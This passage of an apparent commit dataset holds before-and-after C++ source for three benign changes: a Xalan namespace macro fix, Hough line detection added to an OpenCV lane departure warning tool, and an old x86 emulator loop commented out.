XALAN_NO_STD_NAMESPACE\n\t#endif\n#endif\n\n\n#if defined(XALAN_NO_STD_NAMESPACE)\n\t#define XALAN_USING_STD(NAME)\n\t#define XALAN_STD_QUALIFIER \n#else\n\t#define XALAN_USING_STD(NAME) using std :: NAME;\n\t#define XALAN_STD_QUALIFIER  std ::\n#endif\n\n#define XALAN_DECLARE_XALAN_CLASS(NAME) XALAN_DECLARE_CLASS(XALAN_CPP_NAMESPACE, NAME)\n#define XALAN_DECLARE_XALAN_STRUCT(NAME) XALAN_DECLARE_STRUCT(XALAN_CPP_NAMESPACE, NAME)\n#define XALAN_USING_XALAN(NAME) XALAN_USING(XALAN_CPP_NAMESPACE, NAME)\n#define XALAN_USING_XERCES(NAME) XALAN_USING(XERCES_CPP_NAMESPACE, NAME)\n\n\n\n\/\/ Yuck!!!! Have to include this here because there's no way to handle\n\/\/ the new namespace macros without it!\n#include \"xercesc\/util\/XercesDefs.hpp\"\n\n#if _XERCES_VERSION < 20200\n\t#define XERCES_CPP_NAMESPACE_QUALIFIER\n\t#define XERCES_CPP_NAMESPACE_BEGIN\n\t#define XERCES_CPP_NAMESPACE_END\n#endif\n\n\n#define XALAN_DECLARE_XERCES_CLASS(NAME) XALAN_DECLARE_CLASS(XERCES_CPP_NAMESPACE, NAME)\n#define XALAN_DECLARE_XERCES_STRUCT(NAME) XALAN_DECLARE_STRUCT(XERCES_CPP_NAMESPACE, NAME)\n\n#endif \/\/ __cplusplus\n\n\n\n#endif\t\/\/ PLATFORMDEFINITIONS_HEADER_GUARD_1357924680\n<commit_msg>Fixed macro.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999-2002 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n#if !defined(PLATFORMDEFINITIONS_HEADER_GUARD_1357924680)\n#define PLATFORMDEFINITIONS_HEADER_GUARD_1357924680\n\n#if defined(_MSC_VER)\n#include \"VCPPDefinitions.hpp\"\n#elif defined(__GNUC__)\n#include \"GCCDefinitions.hpp\"\n#elif defined(_AIX)\n#include \"AIXDefinitions.hpp\"\n#elif defined(__hpux)\n#include \"HPUXDefinitions.hpp\"\n#elif defined(SOLARIS)\n#include \"SolarisDefinitions.hpp\"\n#elif defined(OS390)\n#include \"OS390Definitions.hpp\"\n#elif defined(__DECCXX)\n#include \"TRU64Definitions.hpp\"\n#elif defined(__INTEL_COMPILER)\n#include \"IntelDefinitions.hpp\"\n#else\n#error Unknown compiler!\n#endif\n\n#include \"XalanVersion.hpp\"\n\n#if defined(__cplusplus)\n\n\/\/ ---------------------------------------------------------------------------\n\/\/ Define namespace symbols if the compiler supports it.\n\/\/ ---------------------------------------------------------------------------\n#if defined(XALAN_HAS_CPP_NAMESPACE)\n\t#define XALAN_CPP_NAMESPACE_BEGIN namespace XALAN_CPP_NAMESPACE {\n\t#define XALAN_CPP_NAMESPACE_END  }\n\t#define XALAN_CPP_NAMESPACE_USE using namespace XALAN_CPP_NAMESPACE;\n\t#define XALAN_CPP_NAMESPACE_QUALIFIER XALAN_CPP_NAMESPACE::\n\t#define XALAN_USING(NAMESPACE,NAME) using NAMESPACE :: NAME;\n\t#define XALAN_DECLARE_CLASS(NAMESPACE,NAME) namespace NAMESPACE { class NAME; }\n\t#define XALAN_DECLARE_STRUCT(NAMESPACE,NAME) namespace NAMESPACE { struct NAME; }\n\n\tnamespace XALAN_CPP_NAMESPACE { }\n\tnamespace xalanc = XALAN_CPP_NAMESPACE;\n#else\n\t#define XALAN_CPP_NAMESPACE_BEGIN\n\t#define XALAN_CPP_NAMESPACE_END\n\t#define XALAN_CPP_NAMESPACE_USE\n\t#define XALAN_CPP_NAMESPACE_QUALIFIER\n\t#define XALAN_USING(NAMESPACE,NAME)\n\t#define XALAN_DECLARE_CLASS(NAMESPACE,NAME) class NAME;\n\t#define XALAN_DECLARE_STRUCT(NAMESPACE,NAME) struct NAME;\n\t#if !defined(XALAN_NO_STD_NAMESPACE)\n\t\t#define XALAN_NO_STD_NAMESPACE\n\t#endif\n#endif\n\n\n#if defined(XALAN_NO_STD_NAMESPACE)\n\t#define XALAN_USING_STD(NAME)\n\t#define XALAN_STD_QUALIFIER \n#else\n\t#define XALAN_USING_STD(NAME) using std :: NAME;\n\t#define XALAN_STD_QUALIFIER  std ::\n#endif\n\n#define XALAN_DECLARE_XALAN_CLASS(NAME) XALAN_DECLARE_CLASS(XALAN_CPP_NAMESPACE, NAME)\n#define XALAN_DECLARE_XALAN_STRUCT(NAME) XALAN_DECLARE_STRUCT(XALAN_CPP_NAMESPACE, NAME)\n#define XALAN_USING_XALAN(NAME) XALAN_USING(XALAN_CPP_NAMESPACE, NAME)\n\n\n\n\/\/ Yuck!!!! Have to include this here because there's no way to handle\n\/\/ the new namespace macros without it!\n#include \"xercesc\/util\/XercesDefs.hpp\"\n\n#if _XERCES_VERSION < 20200\n\t#define XERCES_CPP_NAMESPACE_QUALIFIER\n\t#define XERCES_CPP_NAMESPACE_BEGIN\n\t#define XERCES_CPP_NAMESPACE_END\n#endif\n\n\n#define XALAN_USING_XERCES(NAME) XALAN_USING(XERCES_CPP_NAMESPACE, NAME)\n#define XALAN_DECLARE_XERCES_CLASS(NAME) XALAN_DECLARE_CLASS(XERCES_CPP_NAMESPACE, NAME)\n#define XALAN_DECLARE_XERCES_STRUCT(NAME) XALAN_DECLARE_STRUCT(XERCES_CPP_NAMESPACE, NAME)\n\n#endif \/\/ __cplusplus\n\n\n\n#endif\t\/\/ PLATFORMDEFINITIONS_HEADER_GUARD_1357924680\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2016 Konsulko Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *     Unless required by applicable law or agreed to in writing, software\n *     distributed under the License is distributed on an \"AS IS\" BASIS,\n *     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *     See the License for the specific language governing permissions and\n *     limitations under the License.\n *\/\n\n#include <opencv2\/core\/cuda.hpp>\n#include <opencv2\/core\/ocl.hpp>\n#include <opencv2\/cudaarithm.hpp>\n#include <opencv2\/cudafilters.hpp>\n#include <opencv2\/cudaimgproc.hpp>\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <tclap\/CmdLine.h>\n#include <libconfig.h++>\n#include <iostream>\n#include <string>\n\n#include \"config.h\"\n#include \"fps.h\"\n\nusing namespace std;\nusing namespace cv;\nusing namespace libconfig;\n\nint main(int argc, char* argv[])\n{\n\tstring config_file;\n\tbool display_intermediate;\n\tbool enable_cuda;\n\tbool enable_opencl;\n\tbool enable_display;\n\tbool write_output;\n\tbool verbose;\n\n\t\/\/ Parse command line options\n\ttry {\n\t\tTCLAP::CmdLine cmd_line(\"Lane Departure Warning System\", ' ', LDWS_VERSION);\n\t\t\/\/ FIXME CUDA and OpenCL should be mutually exclusive switches\n\t\tTCLAP::SwitchArg enable_cuda_switch(\"u\",\"enable-cuda\",\"Enable CUDA support\", cmd_line, false);\n\t\tTCLAP::SwitchArg enable_opencl_switch(\"o\",\"enable-opencl\",\"Enable OpenCL support\", cmd_line, false);\n\t\tTCLAP::SwitchArg disable_display_switch(\"d\",\"disable-display\",\"Disable video display\", cmd_line, false);\n\t\tTCLAP::SwitchArg display_intermediate_switch(\"i\",\"display-intermediate\",\"Display intermediate processing steps\", cmd_line, false);\n\t\tTCLAP::SwitchArg write_output_switch(\"w\",\"write-video\",\"Write video to a file\", cmd_line, false);\n\t\tTCLAP::SwitchArg verbose_switch(\"v\",\"verbose\",\"Verbose messages\", cmd_line, false);\n\t\tTCLAP::ValueArg<string> config_file_string(\"c\",\"config-file\",\"Configuration file name\", false, \"ldws.conf\", \"filename\");\n\t\tcmd_line.add(config_file_string);\n\t\tcmd_line.parse(argc, argv);\n\n\t\tdisplay_intermediate = display_intermediate_switch.getValue();\n\t\tenable_cuda = enable_cuda_switch.getValue();\n\t\tenable_opencl = enable_opencl_switch.getValue();\n\t\tenable_display = !disable_display_switch.getValue();\n\t\twrite_output = write_output_switch.getValue();\n\t\tverbose = verbose_switch.getValue();\n\t\tconfig_file = config_file_string.getValue();\n\t} catch (TCLAP::ArgException &e) {\n\t\tstd::cerr << \"error: \" << e.error() << \" for arg \" << e.argId() << std::endl;\n\t}\n\n\t\/\/ Parse config file\n\tConfig cfg;\n\tcfg.readFile(config_file.c_str());\n\tstring video_file = cfg.lookup(\"video_file\");\n\tint rx = cfg.lookup(\"region_of_interest.x\");\n\tint ry = cfg.lookup(\"region_of_interest.y\");\n\tint rw = cfg.lookup(\"region_of_interest.w\");\n\tint rh = cfg.lookup(\"region_of_interest.h\");\n\n\t\/\/ Open video input file\/device\n\tVideoCapture capture(video_file);\n\t\/\/ If file open fails, try finding a camera indicated by an integer argument\n\tif (!capture.isOpened())\n\t{capture.open(atoi(video_file.c_str()));}\n\n\t\/\/ Toggle OpenCL on\/off\n\tif (!enable_cuda)\n\t\tcv::ocl::setUseOpenCL(enable_opencl);\n\n\tstring mode = \"CPU\";\n\tif (enable_cuda)\n\t\tmode = \"CUDA\";\n\telse if (enable_opencl)\n\t\tmode = \"OpenCL\";\n\tcout << \"Mode: \" << mode << endl;\n\n\t\/\/ Report video specs\n\tdouble width = capture.get(CV_CAP_PROP_FRAME_WIDTH);\n\tdouble height = capture.get(CV_CAP_PROP_FRAME_HEIGHT);\n\tint ex = static_cast<int>(capture.get(CV_CAP_PROP_FOURCC));\n\tchar fourcc[] = {(char)(ex & 0XFF),(char)((ex & 0XFF00) >> 8),(char)((ex & 0XFF0000) >> 16),(char)((ex & 0XFF000000) >> 24),0};\n\tSize frame_size(static_cast<int>(width), static_cast<int>(height));\n\tcout << \"Video: frame size \" << width << \"x\" << height << \", codec \" << fourcc << endl;\n\t\/\/ FIXME Error check ROI settings here\n\n\n\t\/\/ Create output window\n\tstring window_name = \"Full Video\";\n\tif (enable_display) {\n\t\tnamedWindow(window_name, CV_WINDOW_KEEPRATIO);\n\t}\n\n\t\/\/ FIXME this should be conditional\n\tVideoWriter output_writer(\"ldws-full.avi\", CV_FOURCC('P','I','M','1'), 30, frame_size, true);\n\n\tMat frame, edge;\n\tcv::cuda::GpuMat gpu_frame, gpu_gray, gpu_edge;\n\tUMat u_frame, u_gray, u_edge;\n\tcv::Ptr<cv::cuda::Filter> blur = cv::cuda::createGaussianFilter(CV_8UC1, CV_8UC1, Size(5, 5), 1.5);\n\tcv::Ptr<cv::cuda::CannyEdgeDetector> canny = cv::cuda::createCannyEdgeDetector(1, 100, 3, false);\n\n\tframe_avg_init();\n\n\twhile (true)\n\t{\n\t\tcapture >> frame;\n\t\tif (frame.empty())\n\t\t\tbreak;\n\n\t\t\/\/ Display original frame\n\t\tif (display_intermediate) {\n\t\t\tnamedWindow(\"Original Video\", WINDOW_AUTOSIZE);\n\t\t\timshow(\"Original Video\", frame);\n\t\t}\n\n\t\tframe_begin();\n\n\t\tif (enable_cuda) {\n\t\t\t\/\/ CUDA\n\t\t\tgpu_frame.upload(frame);\n\t\t\tcv::cuda::GpuMat gpu_roi(gpu_frame, Rect(rx, ry, rw, rh));\n\t\t\tcv::cuda::cvtColor(gpu_roi, gpu_gray, CV_BGR2GRAY);\n\t\t\tblur->apply(gpu_gray, gpu_gray);\n\t\t\tcanny->detect(gpu_gray, gpu_edge);\n\t\t} else {\n\t\t\t\/\/ TAPI\n\t\t\tframe.copyTo(u_frame);\n\t\t\tUMat u_roi(u_frame, Rect(rx, ry, rw, rh));\n\t\t\tcvtColor(u_roi, u_gray, CV_BGR2GRAY);\n\t\t\tGaussianBlur(u_gray, u_gray, Size(5, 5), 1.5);\n\t\t\tCanny(u_gray, u_edge, 1, 100);\n\t\t}\n\n\t\t\/\/ TODO Add line detection\n\n\t\tframe_end();\n\n\t\t\/\/ Display Canny image\n\t\tif (display_intermediate) {\n\t\t\tnamedWindow(\"Edges\");\n\t\t\tif (enable_cuda) {\n\t\t\t\tgpu_edge.download(edge);\n\t\t\t\timshow(\"Edges\", edge);\n\t\t\t} else {\n\t\t\t\timshow(\"Edges\", u_edge);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Display FPS\n\t\tputText(frame, \"FPS: \" + frame_fps_str(), Point(5,25), FONT_HERSHEY_SIMPLEX, 1., Scalar(255, 100, 0), 2);\n\n\t\t\/\/ Display full image\n\t\tif (enable_display)\n\t\t\timshow(window_name, frame);\n\n\t\t\/\/ Write frame to output file\n\t\tif (write_output)\n\t\t\toutput_writer << frame;\n\n\t\tif (waitKey(1) == 27) break;\n\t}\n\n\tcout << \"Average FPS: \" << frame_fps_avg_str() << endl;\n}\n\n\n\n\n<commit_msg>Add probabilistic hough line detection.<commit_after>\/*\n * Copyright 2016 Konsulko Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *     Unless required by applicable law or agreed to in writing, software\n *     distributed under the License is distributed on an \"AS IS\" BASIS,\n *     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *     See the License for the specific language governing permissions and\n *     limitations under the License.\n *\/\n\n#include <opencv2\/core\/cuda.hpp>\n#include <opencv2\/core\/ocl.hpp>\n#include <opencv2\/cudaarithm.hpp>\n#include <opencv2\/cudafilters.hpp>\n#include <opencv2\/cudaimgproc.hpp>\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include <opencv2\/imgproc\/imgproc.hpp>\n#include <tclap\/CmdLine.h>\n#include <libconfig.h++>\n#include <iostream>\n#include <string>\n\n#include \"config.h\"\n#include \"fps.h\"\n\nusing namespace std;\nusing namespace cv;\nusing namespace libconfig;\n\nint main(int argc, char* argv[])\n{\n\tstring config_file;\n\tbool display_intermediate;\n\tbool enable_cuda;\n\tbool enable_opencl;\n\tbool enable_display;\n\tbool write_output;\n\tbool verbose;\n\n\t\/\/ Parse command line options\n\ttry {\n\t\tTCLAP::CmdLine cmd_line(\"Lane Departure Warning System\", ' ', LDWS_VERSION);\n\t\t\/\/ FIXME CUDA and OpenCL should be mutually exclusive switches\n\t\tTCLAP::SwitchArg enable_cuda_switch(\"u\",\"enable-cuda\",\"Enable CUDA support\", cmd_line, false);\n\t\tTCLAP::SwitchArg enable_opencl_switch(\"o\",\"enable-opencl\",\"Enable OpenCL support\", cmd_line, false);\n\t\tTCLAP::SwitchArg disable_display_switch(\"d\",\"disable-display\",\"Disable video display\", cmd_line, false);\n\t\tTCLAP::SwitchArg display_intermediate_switch(\"i\",\"display-intermediate\",\"Display intermediate processing steps\", cmd_line, false);\n\t\tTCLAP::SwitchArg write_output_switch(\"w\",\"write-video\",\"Write video to a file\", cmd_line, false);\n\t\tTCLAP::SwitchArg verbose_switch(\"v\",\"verbose\",\"Verbose messages\", cmd_line, false);\n\t\tTCLAP::ValueArg<string> config_file_string(\"c\",\"config-file\",\"Configuration file name\", false, \"ldws.conf\", \"filename\");\n\t\tcmd_line.add(config_file_string);\n\t\tcmd_line.parse(argc, argv);\n\n\t\tdisplay_intermediate = display_intermediate_switch.getValue();\n\t\tenable_cuda = enable_cuda_switch.getValue();\n\t\tenable_opencl = enable_opencl_switch.getValue();\n\t\tenable_display = !disable_display_switch.getValue();\n\t\twrite_output = write_output_switch.getValue();\n\t\tverbose = verbose_switch.getValue();\n\t\tconfig_file = config_file_string.getValue();\n\t} catch (TCLAP::ArgException &e) {\n\t\tstd::cerr << \"error: \" << e.error() << \" for arg \" << e.argId() << std::endl;\n\t}\n\n\t\/\/ Parse config file\n\tConfig cfg;\n\tcfg.readFile(config_file.c_str());\n\tstring video_file = cfg.lookup(\"video_file\");\n\tint rx = cfg.lookup(\"region_of_interest.x\");\n\tint ry = cfg.lookup(\"region_of_interest.y\");\n\tint rw = cfg.lookup(\"region_of_interest.w\");\n\tint rh = cfg.lookup(\"region_of_interest.h\");\n\n\t\/\/ Open video input file\/device\n\tVideoCapture capture(video_file);\n\t\/\/ If file open fails, try finding a camera indicated by an integer argument\n\tif (!capture.isOpened())\n\t{capture.open(atoi(video_file.c_str()));}\n\n\t\/\/ Toggle OpenCL on\/off\n\tif (!enable_cuda)\n\t\tcv::ocl::setUseOpenCL(enable_opencl);\n\n\tstring mode = \"CPU\";\n\tif (enable_cuda)\n\t\tmode = \"CUDA\";\n\telse if (enable_opencl)\n\t\tmode = \"OpenCL\";\n\tcout << \"Mode: \" << mode << endl;\n\n\t\/\/ Report video specs\n\tdouble width = capture.get(CV_CAP_PROP_FRAME_WIDTH);\n\tdouble height = capture.get(CV_CAP_PROP_FRAME_HEIGHT);\n\tint ex = static_cast<int>(capture.get(CV_CAP_PROP_FOURCC));\n\tchar fourcc[] = {(char)(ex & 0XFF),(char)((ex & 0XFF00) >> 8),(char)((ex & 0XFF0000) >> 16),(char)((ex & 0XFF000000) >> 24),0};\n\tSize frame_size(static_cast<int>(width), static_cast<int>(height));\n\tcout << \"Video: frame size \" << width << \"x\" << height << \", codec \" << fourcc << endl;\n\t\/\/ FIXME Error check ROI settings here\n\n\n\t\/\/ Create output window\n\tstring window_name = \"Full Video\";\n\tif (enable_display) {\n\t\tnamedWindow(window_name, CV_WINDOW_KEEPRATIO);\n\t}\n\n\t\/\/ FIXME this should be conditional\n\tVideoWriter output_writer(\"ldws-full.avi\", CV_FOURCC('P','I','M','1'), 30, frame_size, true);\n\n\tMat frame, edge;\n\tcv::cuda::GpuMat gpu_frame, gpu_gray, gpu_edge, gpu_lines;\n\tUMat u_frame, u_gray, u_edge;\n\tcv::Ptr<cv::cuda::Filter> blur = cv::cuda::createGaussianFilter(CV_8UC1, CV_8UC1, Size(5, 5), 1.5);\n\tcv::Ptr<cv::cuda::CannyEdgeDetector> canny = cv::cuda::createCannyEdgeDetector(1, 100, 3, false);\n\tdouble rho = 1;\n\tdouble theta = CV_PI\/180;\n\tvector<Vec4i> lines;\n\tcv::Ptr<cuda::HoughSegmentDetector> hough = cuda::createHoughSegmentDetector(rho, theta, 50, 100);\n\n\tframe_avg_init();\n\n\twhile (true)\n\t{\n\t\tcapture >> frame;\n\t\tif (frame.empty())\n\t\t\tbreak;\n\n\t\t\/\/ Display original frame\n\t\tif (display_intermediate) {\n\t\t\tnamedWindow(\"Original Video\", WINDOW_AUTOSIZE);\n\t\t\timshow(\"Original Video\", frame);\n\t\t}\n\n\t\tframe_begin();\n\n\t\tif (enable_cuda) {\n\t\t\t\/\/ CUDA implementation\n\t\t\tgpu_frame.upload(frame);\n\n\t\t\t\/\/ Set ROI to reduce workload\n\t\t\tcv::cuda::GpuMat gpu_roi(gpu_frame, Rect(rx, ry, rw, rh));\n\n\t\t\t\/\/ Convert to grayscale and blur\n\t\t\tcv::cuda::cvtColor(gpu_roi, gpu_gray, CV_BGR2GRAY);\n\t\t\tblur->apply(gpu_gray, gpu_gray);\n\n\t\t\t\/\/ Canny edge detection\n\t\t\tcanny->detect(gpu_gray, gpu_edge);\n\n\t\t\t\/\/ Probabilistic Hough line detection\n\t\t\though->detect(gpu_edge, gpu_lines);\n\t\t\tlines.resize(gpu_lines.cols);\n\t\t\tMat temp(1, gpu_lines.cols, CV_32SC4, &lines[0]);\n\t\t\tgpu_lines.download(temp);\n\t\t} else {\n\t\t\t\/\/ TAPI implementation\n\t\t\tframe.copyTo(u_frame);\n\n\t\t\t\/\/ Set ROI to reduce workload\n\t\t\tUMat u_roi(u_frame, Rect(rx, ry, rw, rh));\n\n\t\t\t\/\/ Convert to grayscale and blur\n\t\t\tcvtColor(u_roi, u_gray, CV_BGR2GRAY);\n\t\t\tGaussianBlur(u_gray, u_gray, Size(5, 5), 1.5);\n\n\t\t\t\/\/ Canny edge detection\n\t\t\tCanny(u_gray, u_edge, 1, 100);\n\n\t\t\t\/\/ Probabilistic Hough line detection\n\t\t\tHoughLinesP(u_edge, lines, rho, theta, 50, 50, 100);\n\t\t}\n\n\t\t\/\/ TODO Add line filtering \n\n\t\tframe_end();\n\n\t\t\/\/ Display Canny image\n\t\tif (display_intermediate) {\n\t\t\tnamedWindow(\"Edges\");\n\t\t\tif (enable_cuda) {\n\t\t\t\tgpu_edge.download(edge);\n\t\t\t\timshow(\"Edges\", edge);\n\t\t\t} else {\n\t\t\t\timshow(\"Edges\", u_edge);\n\t\t\t}\n\t\t}\n\n\t\t\/\/ Display FPS\n\t\tputText(frame, \"FPS: \" + frame_fps_str(), Point(5,25), FONT_HERSHEY_SIMPLEX, 1., Scalar(255, 100, 0), 2);\n\n\t\t\/\/ Display full image\n\t\tif (enable_display)\n\t\t\timshow(window_name, frame);\n\n\t\t\/\/ Write frame to output file\n\t\tif (write_output)\n\t\t\toutput_writer << frame;\n\n\t\tif (waitKey(1) == 27) break;\n\t}\n\n\tcout << \"Average FPS: \" << frame_fps_avg_str() << endl;\n}\n\n\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <string>\n#include \"emulator.h\"\n#include \"device\/display.h\"\n#include \"shell\/shell.h\"\n\nusing namespace std;\n\n\/\/Emulator *emu;\n\/\/Display  *disp;\n\/\/Shell    *sh;\n\/\/extern char hankaku[4096];\n\nvoid errExit(Emulator *emu){\n\tif(emu == nullptr) exit(-1);\n\temu->memory.Dump(\"memdump.bin\", 0x00, 1 * MB);\n\texit(-1);\n}\n\nint main(int argc, char **argv){\ntry{\n\tEmulator *emu = new Emulator();\n\tShell    *sh;\n\n\temu = new Emulator();\n\temu->Init(DEFAULT_MEMORY_SIZE, 0x7c00, 0x7c00);\n\tsh = new Shell(emu);\n\n\t\/\/ default script\n\tifstream ifs;\n\tifs.open(\".emurc\");\n\tsh->Exec(ifs);\n\n\tsh->SetDefaultStream();\n\tsh->sh_proc();\n\n\tdelete emu;\n\n}catch(string str){\n\tcout<<\"error: \"<<str<<endl;\n\treturn -1;\n}catch(const char *str){\n\tcout<<\"error: \"<<str<<endl;\n\treturn -1;\n}catch(...){\n\tcout<<\"exception\"<<endl;\n\treturn -1;\n}\n\treturn 0;\n}\n\n\/\/int main(int argc, char **argv){\nint emu_proc(Emulator *emu){\n\ttry{\n\t\tif(emu == nullptr) throw \"emu_proc: emulator is null\";\n\/\/\t\tfor(int i=0;i<4096;i++)\n\/\/\t\t\tcout<<hankaku[i];\n\t\t\/\/TODO parse args\n\/\/\t\tif(argc < 2) return -1;\n\n\/\/\t\temu = new Emulator();\n\/\/\t\temu->Init(DEFAULT_MEMORY_SIZE, 0x7c00, 0x7c00);\n\n\/\/\t\tsh  = new Shell(emu);\n\/\/\t\tifstream ifs;\n\/\/\t\tifs.open(\".emurc\");\n\/\/\t\tsh->Exec(ifs);\n\/\/\t\tsh->ChangeStream(ifs);\n\/\/\t\tsh->sh_proc();\n\/\/\t\tsh->SetDefaultStream();\n\/\/\t\tsh->Start();\n\n\/\/\t\tdisp = new Display();\n\/\/\t\tdisp->Init();\n\n\/\/\t\temu->memory.MapMemory(disp->vram, 0xa0000, 0xffff);\n\t\t\n\/\/\t\temu->LoadBinary(argv[1], 0x7c00, 512); \/\/ IPLの読み込み(本来BIOSがやるべき)\n\t\t\n\t\twhile(true){\n\t\t\tint bit = emu->GetBitMode();\n\t\t\tuint8_t code = emu->GetCode8(0);\n\t\t\t\n\t\t\tif(emu->IsHalt()){\n\t\t\t\tcerr<<\"halt.\"<<endl;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\n\/\/\t\t\tcerr<<\"EIP = \"<<hex<<showbase<<emu->EIP;\n\/\/\t\t\tcerr<<\", code = \"<<hex<<showbase<<(int)code<<endl;\n\t\t\n\t\t\tswitch(bit){\n\t\t\tcase 16:\n\t\t\t\temu->insn16.Exec(emu, code);\n\t\t\t\tbreak;\n\t\t\tcase 32:\n\t\t\t\temu->insn32.Exec(emu, code);\n\t\t\t\tbreak;\n\t\t\tcase 64:\n\t\t\t\tcout<<\"64bit is not implemtented.\"<<endl;\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tcout<<\"bit mode error.\"<<endl;\n\t\t\t\tbreak;\n\t\t\t};\n\t\t}\n\n\t\temu->memory.Dump(\"memdump.bin\", 0x00, 1 * MB);\n\n\t}catch(Interrupt *i){\t\/\/ 割り込み処理\n\t\tcerr<<\"interrupt.\"<<endl;\n\t}catch(string str){\n\t\tcerr<<\"error: \"<<str<<endl;\n\/\/\t\terrExit();\n\t\treturn -1;\n\t}catch(const char *str){\n\t\tcerr<<\"error: \"<<str<<endl;\n\/\/\t\terrExit();\n\t\treturn -1;\n\t}catch(...){\n\t\tcerr<<\"exception.\"<<endl;\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\n\n<commit_msg>comment out old emulator proc<commit_after>#include <iostream>\n#include <string>\n#include \"emulator.h\"\n#include \"device\/display.h\"\n#include \"shell\/shell.h\"\n\nusing namespace std;\n\n\/\/Emulator *emu;\n\/\/Display  *disp;\n\/\/Shell    *sh;\n\/\/extern char hankaku[4096];\n\nvoid errExit(Emulator *emu){\n\tif(emu == nullptr) exit(-1);\n\temu->memory.Dump(\"memdump.bin\", 0x00, 1 * MB);\n\texit(-1);\n}\n\nint main(int argc, char **argv){\ntry{\n\tEmulator *emu = new Emulator();\n\tShell    *sh;\n\n\temu = new Emulator();\n\temu->Init(DEFAULT_MEMORY_SIZE, 0x7c00, 0x7c00);\n\tsh = new Shell(emu);\n\n\t\/\/ default script\n\tifstream ifs;\n\tifs.open(\".emurc\");\n\tsh->Exec(ifs);\n\n\tsh->SetDefaultStream();\n\tsh->sh_proc();\n\n\tdelete emu;\n\n}catch(string str){\n\tcout<<\"error: \"<<str<<endl;\n\treturn -1;\n}catch(const char *str){\n\tcout<<\"error: \"<<str<<endl;\n\treturn -1;\n}catch(...){\n\tcout<<\"exception\"<<endl;\n\treturn -1;\n}\n\treturn 0;\n}\n\n\/*\n\nold emulator proc\n\n\/\/int main(int argc, char **argv){\nint emu_proc(Emulator *emu){\n\ttry{\n\t\tif(emu == nullptr) throw \"emu_proc: emulator is null\";\n\/\/\t\tfor(int i=0;i<4096;i++)\n\/\/\t\t\tcout<<hankaku[i];\n\t\t\/\/TODO parse args\n\/\/\t\tif(argc < 2) return -1;\n\n\/\/\t\temu = new Emulator();\n\/\/\t\temu->Init(DEFAULT_MEMORY_SIZE, 0x7c00, 0x7c00);\n\n\/\/\t\tsh  = new Shell(emu);\n\/\/\t\tifstream ifs;\n\/\/\t\tifs.open(\".emurc\");\n\/\/\t\tsh->Exec(ifs);\n\/\/\t\tsh->ChangeStream(ifs);\n\/\/\t\tsh->sh_proc();\n\/\/\t\tsh->SetDefaultStream();\n\/\/\t\tsh->Start();\n\n\/\/\t\tdisp = new Display();\n\/\/\t\tdisp->Init();\n\n\/\/\t\temu->memory.MapMemory(disp->vram, 0xa0000, 0xffff);\n\t\t\n\/\/\t\temu->LoadBinary(argv[1], 0x7c00, 512); \/\/ IPLの読み込み(本来BIOSがやるべき)\n\t\t\n\t\twhile(true){\n\t\t\tint bit = emu->GetBitMode();\n\t\t\tuint8_t code = emu->GetCode8(0);\n\t\t\t\n\t\t\tif(emu->IsHalt()){\n\t\t\t\tcerr<<\"halt.\"<<endl;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\n\/\/\t\t\tcerr<<\"EIP = 